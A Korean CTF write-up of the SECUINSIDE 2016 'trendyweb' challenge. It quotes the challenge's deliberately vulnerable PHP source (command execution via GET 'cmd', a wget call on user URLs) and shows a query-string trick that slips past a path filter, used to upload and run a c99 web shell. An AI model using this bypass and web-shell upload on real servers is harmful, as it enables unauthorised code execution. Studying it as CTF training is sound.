CTF(Capture The Flag)
- [SECUINSIDE 2016 Write-up] trendyweb 2016.07.10
[SECUINSIDE 2016 Write-up] trendyweb
문제는 위 캡쳐에 있는데로 'The flag reader is on /.' 라는 힌트와 함께 문제 사이트 링크와 index.php의 소스코드가 함께 주어졌다.
소스 코드는 아래와 같다.
<?php error_reporting(E_ALL); ini_set('display_errors', 'On'); ini_set('allow_url_fopen', 'On'); // yo! $session_path = ''; class MyClass { function __wakeup() { system($_GET['cmd']); // come onn! } } function onShutdown() { global $session_path; file_put_contents($session_path. '/pickle', serialize($_SESSION)); } session_start(); register_shutdown_function('onShutdown'); function set_context($id) { global $_SESSION, $session_path; $session_path=getcwd() . '/data/'.$id; if(!is_dir($session_path)) mkdir($session_path); chdir($session_path); if(!is_file('pickle')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('pickle')); } function download_image($url) { $url = parse_url($origUrl=$url); if(isset($url['scheme']) && $url['scheme'] == 'http') if($url['path'] == '/avatar.png') { system('/usr/bin/wget '.escapeshellarg($origUrl)); } } if(!isset($_SESSION['id'])) { $sessId = bin2hex(openssl_random_pseudo_bytes(10)); $_SESSION['id'] = $sessId; } else { $sessId = $_SESSION['id']; } session_write_close(); set_context($sessId); if(isset($_POST['image'])) download_image($_POST['image']); ?> <img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />
소스코드 분석 후 4번 라인에 있는 'allow_url_fopen' 설정이 활성 화 되어 있는 점을 보아 LFI(Local File Inclue) 취약점 또는 RFI(Remote File Include) 취약점이 존재할 것으로 예상했다.
또한 8번 라인의 'come onn!' 의 주석이 힌트라 생각하여 해당 소스 코드의 'cmd' 파라메터를 이용하여 시스템 명령어를 실행하여 flag를 알아내는 것으로 문제를 풀어 나갔다. system 함수는 __wakeup() 함수 안에서 실행 되는데 이 함수는 검색 결과 PHP CLASS의 Magic Function 중 한 종류로 생성자, 소멸자와 같은 특정 조건 시 자동으로 호출 되는 함수로써 unserialize 함수 호출 후 자동으로 호출 되는 함수이다.
하지만 __wakeup() 함수는 MyClass 클래스의 Magic Function이고 unserialize 함수는 MyClass와는 연관이 없어 __wakeup() 함수는 호출 되지 않았다.
* 이 부분이 문제의 포인트라 생각하여 구글링을 통해 PHP Object Injection 취약점을 이용해야 할 것이라 예상했지만 직접 서버 구성 후 확인 해 보니 절대 호출 되지 않는 부분이었다. 엄청난 삽질과 시간을 낭비 함....... 이 문제의 함정이었던 것 같다...--
사이트를 들어가 보면 아래와 같이 보여진다.
페이지는 index.php 소스코드의 49번 라인에 있는 img 태그가 실행 된 결과가 보여 지는데 해당 이미지 태그의 src를 확인해 보면 data 디렉토리안에 사용자의 세션아이디로 디렉토리가 생기고 그 안에있는 avatar.png 그림파일을 불러오는 img 태그로 확인이 되었다. 하지만 해당 경로에 이미지가 없어 엑박이 뜨는것을 확인 할 수 있었다.
url의 avatar.png를 지우고 요청 해본 결과 디렉토리 리스팅이 가능하였고 디렉토리에는 소스코드의 19번 라인에 있는 set_context 함수 호출의 결과로 생성 된 pickle 파일만 존재 했으며 이 파일에는 세션 변수의 값들이 13번 라인의 serialize 함수 호출의 결과로 직렬 화 되어 해당 파일에 저장되었다. 파일의 내용은 세션 변수의 값이 없어 존재 하지 않았다.
다시 소스 코드를 분석 해보니 30번 라인의 download_image 함수에서 post방식으로 넘어온 image 파라메터의 값을 parse_url 함수로 파싱하여 wget을 실행하는 것을 확인 할 수 있었고 RFI 취약점을 이용하여 웹쉘을 업로드하는 쪽으로 문제를 풀어 나갔다.
download_image 함수에서 인자로 넘어온 url을 필터링 하는 부분이 있는데 이 부분이 이 문제의 핵심 포인트이었다.
필터링 내용은 전달된 인자의 url은 'http' Scheme을 가져야 하고 '/avatar.png' Path를 가져야 했다.
우선 업로드가 잘되는지 구글링을 통해 'http://www.xxxx.xxx/avatar.png' 형태의 이미지를 찾았고, 업로드 해본 결과 정상적으로 업로드 되는 것을 확인 하였다.
하지만 문제는 /avatar.png 라는 Path를 우회하는 것이었는데 처음에는 우회를 위해 parse_url, escapeshellarg 함수의 취약점을 찾아 보았으나 이 또한 엄청난 삽질 이었고, parse_url 함수를 확인해 본 결과 아래와 같이 url이 파싱됨을 확인 하였다.
해당 함수를 확인한 후 다운로드 파일의 Path만 필터링할 뿐 확장자는 필터링 하지 않는다는 점을 깨닫고 이 점을 포인트로 하여 문제를 풀어 나갔다.
우선 'http://www.test.com/avatar.png'라는 url을 전송하면
[scheme] => http
[host] => www.test.com
[path] => /avatar.png
위 처럼 파싱되는 것을 확인 하였고 곰곰히 생각해본 결과 파싱되는 값 중 query 값을 이용하면 될 것 같아 아래와 같이 입력을 해보았다.
$url = 'http://www.test.com/avatar.png?.php
[scheme] => http
[host] => www.test.com
[path] => /avatar.png
[query] => .php
위와 같이 입력했을 시 해당 함수의 필터링을 우회 하는것을 확인 하였다. :)
flag를 획득하기 위해 웹서버를 만들어 웹쉘을 avatar.png라는 이름으로 변경하고 위와 같은 형태의 url을 image 파라메터로 전송하였다.
웹쉘이 필터링을 우회하여 업로드 된 것을 확인 하였고 웹쉘을 실행하여 flag를 찾아 보았다.
* 웹쉘을 간단히 코딩하여 사용하려고 하였으나 너무 삽질을 많이 하여 지친 관계로 c99웹쉘을 사용 하였다..;;
flag는 문제의 힌트대로 '/' 경로에 존재 하였다.
하지만 읽혀지지 않았다. --'
권한을 확인 해보니 '--x--x---' 소유자와 그룹에 대해 실행 권한 밖에 주어지지 않았고, 현재 웹쉘의 권한은 그룹의 권한을 가지므로 실행할 수 있음을 확인 하고 웹쉘의 execute 기능을 이용하여 flag를 실행할 수 있었다.
flag는 '1-day is not trendy enough' 이었다. :)